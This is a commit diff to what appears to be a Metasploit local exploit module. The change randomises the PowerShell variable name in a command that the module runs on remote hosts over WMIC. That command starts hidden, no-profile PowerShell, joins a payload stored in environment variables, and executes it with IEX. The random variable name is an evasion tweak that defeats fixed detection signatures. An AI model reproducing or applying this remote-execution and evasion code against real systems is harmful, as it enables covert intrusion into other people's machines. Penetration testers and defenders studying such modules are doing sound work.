Change static x value
parent
ee365a6b64
commit
15885e4ef6
|
@ -93,11 +93,12 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
wmic_command(server, c)
|
||||
end
|
||||
|
||||
exec_cmd = "powershell.exe -nop -w hidden -c $x = ''"
|
||||
x = rand_text_alpha(rand(3)+3)
|
||||
exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
|
||||
env_vars.each do |env|
|
||||
exec_cmd << "+$env:#{env}"
|
||||
end
|
||||
exec_cmd << ";IEX $x;"
|
||||
exec_cmd << ";IEX $#{x};"
|
||||
|
||||
print_status("[#{server}] Executing payload")
|
||||
wmic_command(server, exec_cmd)
|
||||
|
|
Loading…
Reference in New Issue